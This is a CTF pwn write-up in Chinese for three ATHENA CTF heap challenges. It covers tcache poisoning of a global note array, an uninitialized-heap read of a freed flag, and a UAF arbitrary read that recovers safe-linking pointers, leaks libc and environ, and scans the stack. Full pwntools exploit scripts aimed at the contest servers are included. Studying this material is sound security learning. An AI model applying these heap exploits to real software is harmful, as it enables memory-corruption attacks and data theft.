ATHENA CTF PWN WP
本文复现 ATHENA CTF 中三道 Pwn 题目的解题过程,涵盖 tcache poisoning 修改全局元数据、未初始化堆内存读取 flag 及 UAF 构造任意地址读。核心利用 safe-linking 恢复堆地址并动态解析 libc 符号获取栈指针,最终从栈内存中提取 flag。
Fast is need
题目考点
UAF,tcache poisoning,改全局note元数据读flagbuf。
题目只给了源码,是一个很标准的菜单式note:
struct note { size_t size; char *data; int used; } notes[MAX];
char flagbuf[256]; size_t flaglen=0;程序启动时会先调用load_flag(),把/opt/chal/flag.txt读到全局变量flagbuf里。也就是说这题不一定要getshell,只要能让show()打印flagbuf即可。
漏洞点
主要逻辑不复杂,create按用户给的大小malloc,edit检查used和长度,show打印内容,delete释放内容。
两个地方有问题:
void show(){
printf("idx: ");
int idx = read_int();
if(idx<0||idx>=MAX){ puts("bad"); return;}
if(!notes[idx].data){ puts("no data"); return;}
printf(notes[idx].data);
putchar('\n');
}这里有格式串,notes[idx].data直接当format string传给printf。
另外delete只清了used,没有清data:
void delete(){
printf("idx: ");
int idx = read_int();
if(idx<0||idx>=MAX){ puts("bad"); return;}
if(!notes[idx].data){ puts("no note"); return;}
free(notes[idx].data);
notes[idx].used = 0;
puts("deleted");
}释放后旧指针还在,所以可以show一个已经free的chunk。更关键的是,可以制造两个note指向同一个chunk:先释放note0,再创建note1拿回同一块内存,然后再删note0。这样note1仍然是used=1,但是它的data已经进了tcache,edit(1)就能改这个freed chunk里的tcache next。
远程环境判断
先用格式串扫了一下,远程能看到固定代码地址:
0x400ab0 ... 0x4010d9 ... 0x401130 ... 0x400fb5 ... 0x400820所以远程是非PIE,后面可以直接用.bss地址。释放一个刚进tcache的chunk再show,输出为空,也符合tcache next = NULL的状态。
题目没有给ELF,我按源码在接近的老Ubuntu环境里复现了一下符号布局,关键符号是:
00000000006020e0 B notes
00000000006021a0 B flagbuf远程打的时候也验证了这两个地址可用:notes=0x6020e0,flagbuf=0x6021a0。
struct note大小是0x18,字段偏移为:
note.size +0x0
note.data +0x8
note.used +0x10因此notes[5].data地址为:
0x6020e0 + 5 * 0x18 + 0x8 = 0x602160如果能让一次malloc(0x40)返回0x602160,后续写入的数据就会覆盖notes[5].data和notes[5].used。
利用思路
这里走tcache poisoning。目标不是改hook,而是直接改全局note数组:
notes[5].data = flagbuf
notes[5].used = 1然后show(5)会执行printf(notes[5].data)。flag里没有格式串字符时,效果就是直接打印flag。
具体堆操作如下:
- 先创建note5,大小给
0x51。这样notes[5].size正好位于目标指针前8字节,像一个可用的chunk size。 - 创建note0,大小
0x40。 - 删除note0,chunk进入
tcache[0x50]。 - 创建note1,拿回刚才note0的chunk。此时note0和note1的
data指向同一块内存。 - 再删除note0,note1仍然
used=1,但它指向的是freed chunk。 edit(1)改freed chunk开头的tcache next,写成¬es[5].data。- 创建note2,先把真实chunk取走。
- 创建note3,此时malloc返回
¬es[5].data,输入内容覆盖note5元数据。 show(5)打印flagbuf。
这里远程是pre-safe-linking的tcache,next直接写目标用户指针即可,不需要异或heap地址。
EXP
核心部分如下:
from pwn import *
HOST = "13.206.57.188"
PORT = 10044
notes = 0x6020e0
flagbuf = 0x6021a0
def create(io, idx, size, data=b""):
io.recvuntil(b"> ")
io.sendline(b"1")
io.recvuntil(b"idx: ")
io.sendline(str(idx).encode())
io.recvuntil(b"size: ")
io.sendline(str(size).encode())
io.recvuntil(b"bytes:\n")
io.send(data.ljust(size, b"\x00"))
io.recvuntil(b"ok\n")
def edit(io, idx, data):
io.recvuntil(b"> ")
io.sendline(b"2")
io.recvuntil(b"idx: ")
io.sendline(str(idx).encode())
io.recvuntil(b"len: ")
io.sendline(str(len(data)).encode())
io.send(data)
io.recvuntil(b"ok\n")
def delete(io, idx):
io.recvuntil(b"> ")
io.sendline(b"4")
io.recvuntil(b"idx: ")
io.sendline(str(idx).encode())
io.recvuntil(b"deleted\n")
def show(io, idx):
io.recvuntil(b"> ")
io.sendline(b"3")
io.recvuntil(b"idx: ")
io.sendline(str(idx).encode())
return io.recvuntil(b"\n1) create", drop=True)
io = remote(HOST, PORT)
create(io, 5, 0x51, b"S" * 8)
create(io, 0, 0x40, b"A" * 8)
delete(io, 0)
create(io, 1, 0x40, b"B" * 8)
delete(io, 0)
target = notes + 5 * 0x18 + 0x8
edit(io, 1, p64(target))
create(io, 2, 0x40, b"C" * 8)
create(io, 3, 0x40, p64(flagbuf) + p32(1))
print(show(io, 5))实际脚本里加了少量候选地址fallback,不过打通用到的就是上面这条链。
Flag
athena{OfsxnkDlFj67c4Ev}Heap Smash v1
题目没有附件,只给了远程:
nc 13.206.57.188 10022题目描述已经把方向说得很明白:服务启动时会把flag读到堆上,然后free掉。后面的note功能可以申请、写、读、删。目标就是重新申请到这块被free过的内存,再利用未初始化读把flag带出来。
功能
连上以后只有一个很简单的命令循环:
Heap Smash v1 server
cmd:一开始按描述里的格式试了下,发现A 64这种不行,会返回Invalid。继续试参数后可以确定实际分配格式是:
A <idx> <size>
R <idx>
D <idx>
E比如:
A 0 64
R 0会创建0号note,然后读出64字节。不过这个size下读出来全是\x00,没有拿到flag。
思路
这题关键在malloc的size class。
flag启动时被放到堆上,随后free。free进tcache后,这块用户区开头会被allocator写入链表指针和key,所以就算拿回同一块chunk,最前面的两个qword通常也已经不是原始flag内容了。
不过后面的内容还在。如果程序重新malloc同一个size class,又没有清空新note内存,R就会直接把旧数据读出来。
所以这里要做的事情很短:
- 找到能拿回flag所在chunk的申请大小。
- 用这个大小申请note。
- 直接读note内容。
调size
按size扫了一下,A 0 1到A 0 72基本都只读到0。到73开始出现明显变化:
A 0 73
R 0读出的内容结构大概是:
[16 bytes tcache metadata] athena{Tvqi1VFPpL0axzLj} ...实际一次远程回显里,R 0后面是:
bb 3b 95 55 05 00 00 00 00 00 00 00 00 00 00 00
61 74 68 65 6e 61 7b 54 76 71 69 31 56 46 50 70
4c 30 61 78 7a 4c 6a 7d ...前0x10字节是tcache在free后写进去的元数据,后面转成ASCII就是:
athena{Tvqi1VFPpL0axzLj}73到88都能打出来也符合glibc对齐后的size class表现;再大到89就换到下一档,读出来又变成0了。
EXP
import re
import socket
HOST = "13.206.57.188"
PORT = 10022
SIZE = 73
def recv_until(sock, marker=b"cmd:\n"):
data = b""
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
return data
with socket.create_connection((HOST, PORT), timeout=5) as sock:
sock.settimeout(5)
data = recv_until(sock)
sock.sendall(f"A 0 {SIZE}\n".encode())
data += recv_until(sock)
sock.sendall(b"R 0\n")
data += recv_until(sock)
flag = re.search(rb"athena\{[^}\n]+\}", data).group(0)
print(flag.decode())运行结果:
athena{Tvqi1VFPpL0axzLj}Flag
athena{Tvqi1VFPpL0axzLj}Classy who?
题目给的是一个note服务源码,远程地址:
nc 13.206.57.188 10052题面说得也比较直白:flag会被读到栈上,要用服务先leak libc,再leak stack,最后从栈内存里把flag读出来。
程序逻辑
核心结构很简单:
struct note {
char *data;
size_t size;
};
struct note *notes[MAX_NOTES];每个note先分配一个struct note,再分配一块data。菜单支持C/W/R/D/E:
C idx size:创建noteW idx off len:往note的数据区写len字节R idx:读出note,最多1024字节D idx:删除note
flag在main里这样加载:
char local_flag[256];
memset(local_flag, 0, sizeof(local_flag));
load_flag(local_flag, sizeof(local_flag));也就是说flag确实留在main的栈帧里。只要后面能拿到一个栈地址,再往附近读,就能扫到它。
漏洞点
两个地方组合起来出问题。
第一个是delete_note:
void delete_note(int idx) {
...
free(notes[idx]->data);
free(notes[idx]);
// notes[idx] remains pointing to the freed memory.
puts("Deleted");
}释放以后notes[idx]没有清空,留下dangling pointer。
第二个是write_note:
void write_note(int idx, size_t off, size_t len) {
...
// Vulnerability: no bounds check on offset+len
memcpy(notes[idx]->data + off, buf, len);
free(buf);
puts("Wrote");
}这里没有检查off + len <= notes[idx]->size,可以越界写。不过这题更舒服的用法不是直接硬写堆,而是用UAF把一个已经释放的struct note重新分配成另一个note的data,这样就能伪造旧note的data和size字段。
构造任意读
struct note大小是0x10,申请data大小为0x10时,两个用户块都会走0x20大小的tcache bin。
操作顺序:
C 0 0x10
C 2 0x30
D 0
D 2
C 1 0x10释放顺序比较关键。D 0会释放data0和struct0,然后D 2会释放data2和struct2。之后C 1 0x10时,struct1和data1会从0x20 tcache里拿块,其中data1刚好可以拿到之前的struct0。
此时状态变成:
notes[0] -> 已释放的struct0
notes[1]->data -> 同一块struct0所以对note1写16字节,其实是在改note0的结构体:
def set_fake_note(addr, size=1024):
write_note(1, 0, p64(addr) + p64(size))
def leak(addr, n=0x80):
set_fake_note(addr, n)
return read_note(0, n)R 0会按伪造后的notes[0]->data去读,于是得到一个AAR primitive。read_note最多输出1024字节,所以每次最多读0x400,这个限制够用了。
远程的坑
本地如果随手用-no-pie编译,可以直接读puts@GOT,算libc,然后读environ。但远程不是这个布局。我第一次按本地GOT去读,读出来的是prompt文本片段:
puts@libc = 0x656d20657669470a这个值明显是ASCII,不是libc地址。说明远程程序基址不能直接按本地源码编译出来的ELF来算,大概率是PIE或编译参数不同。后面就换成不依赖程序基址的路线:先从堆本身和allocator元数据泄漏。
利用safe-linking恢复堆地址
完成上面的UAF重叠以后,R 1能读到data1所在块的内容,也就是旧的struct0。这块刚从tcache里取出来,开头还残留safe-linking编码过的next指针。
这里的关系是:
encoded = (struct0 >> 12) ^ data0
data0 = struct0 + 0x20因为struct0和data0是连续申请的两个0x20用户块,所以可以从这个等式把struct0恢复出来。exp里枚举低12位再迭代求固定点:
def recover_overlapped_struct(encoded_next):
candidates = set()
for low in range(0, 0x1000, 0x10):
data0 = (encoded_next & ~0xfff) | low
for _ in range(12):
data0 = encoded_next ^ ((data0 - 0x20) >> 12)
struct0 = data0 - 0x20
if (((struct0 >> 12) ^ data0) == encoded_next):
candidates.add(struct0)
return candidates.pop()远程一次结果:
encoded tcache next = 0x55c99543ac53
overlapped struct0 = 0x55ccc98f3480有了struct0,后面连续分配的大块地址也能按堆布局推出。
泄漏libc
接下来申请多个0x500大小的note。每个note还是先分配0x20的结构体,再分配0x510大小的数据块。根据前面的struct0,第一个大块data地址可以按布局算出来:
first_large_data = struct0 + 0xA0
large_data[idx] = first_large_data + (idx - 3) * (0x510 + 0x20)这里0xA0来自前面已经消耗掉的几个0x20 chunk以及新的note结构体分配;每个大note之间相隔0x20 + 0x510。
然后释放7个同尺寸大块填对应tcache,再释放第8个大块,让它进unsorted bin。注意后面还保留一个已分配的大块,避免目标块直接和top chunk合并。
for idx in range(3, 12):
create(idx, 0x500)
for idx in range(3, 10):
delete(idx)
delete(10)
unsorted = leak(large_data[10], 0x20)
fd = u64(unsorted[:8])
bk = u64(unsorted[8:16])远程拿到:
unsorted fd = 0x55ccc98f5430
unsorted bk = 0x7fe40b303b20
libc pointer candidate = 0x7fe40b303b20fd这次落在堆附近,bk是libc附近的指针,所以取bk作为libc leak。
找environ
题目没给远程libc文件,所以不能直接写死environ偏移。这里用AAR先往下找ELF头,确定libc base;远程这次是:
libc base = 0x7fe40b100000拿到base以后,直接读libc的ELF结构,解析PT_DYNAMIC、DT_HASH、DT_SYMTAB、DT_STRTAB,用SysV hash找environ符号。这样不需要本地libc文件,也不依赖程序的link_map。
核心解析逻辑:
def resolve_dynsym_sysv(base, symbol):
eh = leak(base, 0x40)
e_phoff = u64(eh[0x20:0x28])
e_phentsize = u16(eh[0x36:0x38])
e_phnum = u16(eh[0x38:0x3A])
phdrs = leak(base + e_phoff, e_phentsize * e_phnum)
for i in range(e_phnum):
ph = phdrs[i * e_phentsize:(i + 1) * e_phentsize]
if u32(ph[0:4]) == 2:
dyn_addr = base + u64(ph[0x10:0x18])
dyn_size = u64(ph[0x28:0x30])
break
# 读取DT_HASH/DT_SYMTAB/DT_STRTAB后按SysV hash链查symbol远程解析结果:
environ symbol = 0x7fe40b30ad58
environ = 0x7ffe1a0edbc8environ里存的是栈上的环境变量指针,离main栈帧不远。题目把flag放在main里的local_flag[256],所以从这个栈地址向下扫即可。
for delta in range(0, 0x40000, 0x400):
addr = stack_ptr - delta
chunk = leak(addr, 1024)
m = re.search(rb"athena\{[^}\n\r\x00]{0,220}\}", chunk)
if m:
print(m.group(0))
break远程最终扫到:
flag at 0x7ffe1a0ed850: b'athena{Hzq7thBYeGiwwXua}'EXP
完整exp如下:
from pwn import *
import os
import re
context.log_level = os.environ.get("LOG", "info")
BIN = os.environ.get("BIN", "./autosolve/artifacts/ctf_local")
LARGE = 0x500
LARGE_CHUNK = 0x510
def start():
host = os.environ.get("HOST")
port = int(os.environ.get("PORT", "1337"))
if host:
return remote(host, port)
return process([os.path.abspath(BIN)], cwd=os.path.dirname(os.path.abspath(BIN)))
io = start()
def prompt():
io.recvuntil(b"Give me your command:\n")
def command(line):
prompt()
io.sendline(line)
def create(idx, size):
command(f"C {idx} {size}".encode())
io.recvline()
def delete(idx):
command(f"D {idx}".encode())
io.recvline()
def write_note(idx, off, data):
command(f"W {idx} {off} {len(data)}".encode())
io.send(data)
io.recvline()
def read_note(idx, size):
command(f"R {idx}".encode())
data = io.recvn(size)
io.recvn(1)
return data
def recover_overlapped_struct(encoded_next):
candidates = set()
for low in range(0, 0x1000, 0x10):
data0 = (encoded_next & ~0xfff) | low
for _ in range(12):
data0 = encoded_next ^ ((data0 - 0x20) >> 12)
struct0 = data0 - 0x20
if struct0 > 0 and (data0 & 0xf) == 0:
if (((struct0 >> 12) ^ data0) == encoded_next):
candidates.add(struct0)
if len(candidates) != 1:
raise RuntimeError(f"ambiguous heap recovery: {[hex(x) for x in candidates]}")
return candidates.pop()
def set_fake_note(addr, size=1024):
write_note(1, 0, p64(addr) + p64(size))
def leak(addr, n=0x80):
n = min(max(n, 1), 1024)
set_fake_note(addr, n)
return read_note(0, n)
def leak_qword(addr):
return u64(leak(addr, 8).ljust(8, b"\x00"))
def leak_u32(addr):
return u32(leak(addr, 4).ljust(4, b"\x00"))
def read_cstr(addr, limit=0x100):
out = b""
while len(out) < limit:
chunk = leak(addr + len(out), min(0x40, limit - len(out)))
end = chunk.find(b"\x00")
if end != -1:
return out + chunk[:end]
out += chunk
return out
def elf_hash(name):
h = 0
for c in name:
h = (h << 4) + c
g = h & 0xF0000000
if g:
h ^= g >> 24
h &= ~g
return h & 0xFFFFFFFF
def find_elf_base(ptr, max_back=0x500000):
for off in (0x203B20, 0x1ECB20, 0x1EBBE0, 0x1D3C60, 0x1D2C60):
candidate = (ptr - off) & ~0xFFF
if leak(candidate, 4) == b"\x7fELF":
return candidate
base = ptr & ~0xFFF
stop = base - max_back
while base >= stop:
if leak(base, 4) == b"\x7fELF":
return base
base -= 0x1000
return None
def normalize_ptr(base, val):
if val >= base:
return val
return base + val
def resolve_dynsym_sysv(base, symbol):
eh = leak(base, 0x40)
e_phoff = u64(eh[0x20:0x28])
e_phentsize = u16(eh[0x36:0x38])
e_phnum = u16(eh[0x38:0x3A])
phdrs = leak(base + e_phoff, e_phentsize * e_phnum)
dyn_addr = None
dyn_size = None
for i in range(e_phnum):
ph = phdrs[i * e_phentsize:(i + 1) * e_phentsize]
if u32(ph[0:4]) == 2:
dyn_addr = base + u64(ph[0x10:0x18])
dyn_size = u64(ph[0x28:0x30])
break
if dyn_addr is None:
return None
tags = {}
for off in range(0, dyn_size, 0x10):
ent = leak(dyn_addr + off, 0x10)
tag = u64(ent[:8])
val = u64(ent[8:16])
if tag == 0:
break
tags[tag] = val
dt_hash = normalize_ptr(base, tags.get(4, 0))
symtab = normalize_ptr(base, tags.get(6, 0))
strtab = normalize_ptr(base, tags.get(5, 0))
syment = tags.get(11, 24)
nbucket = leak_u32(dt_hash)
bucket = leak_u32(dt_hash + 8 + 4 * (elf_hash(symbol) % nbucket))
chain_base = dt_hash + 8 + 4 * nbucket
idx = bucket
while idx:
sym = leak(symtab + idx * syment, syment)
name_off = u32(sym[:4])
name = read_cstr(strtab + name_off, 0x80)
if name == symbol:
return normalize_ptr(base, u64(sym[8:16]))
idx = leak_u32(chain_base + 4 * idx)
return None
create(0, 0x10)
create(2, 0x30)
delete(0)
delete(2)
create(1, 0x10)
encoded = u64(read_note(1, 0x10)[:8])
struct0 = recover_overlapped_struct(encoded)
large_data = {}
first_large_data = struct0 + 0xA0
for idx in range(3, 12):
create(idx, LARGE)
large_data[idx] = first_large_data + (idx - 3) * (LARGE_CHUNK + 0x20)
for idx in range(3, 10):
delete(idx)
delete(10)
unsorted = leak(large_data[10], 0x20)
fd = u64(unsorted[:8])
bk = u64(unsorted[8:16])
heap_page = struct0 & ~0xfff
libc_candidates = [
x for x in (fd, bk)
if x > 0x100000000000 and not (heap_page - 0x2000000 <= x <= heap_page + 0x2000000)
]
libc_ptr = libc_candidates[0]
base = find_elf_base(libc_ptr)
environ_addr = resolve_dynsym_sysv(base, b"environ")
stack_ptr = leak_qword(environ_addr)
for delta in range(0, 0x40000, 0x400):
addr = stack_ptr - delta
chunk = leak(addr, 1024)
m = re.search(rb"athena\{[^}\n\r\x00]{0,220}\}", chunk)
if m:
print(m.group(0).decode())
break
io.close()运行:
HOST=13.206.57.188 PORT=10052 python3 exploit_remote.pyFlag
athena{Hzq7thBYeGiwwXua}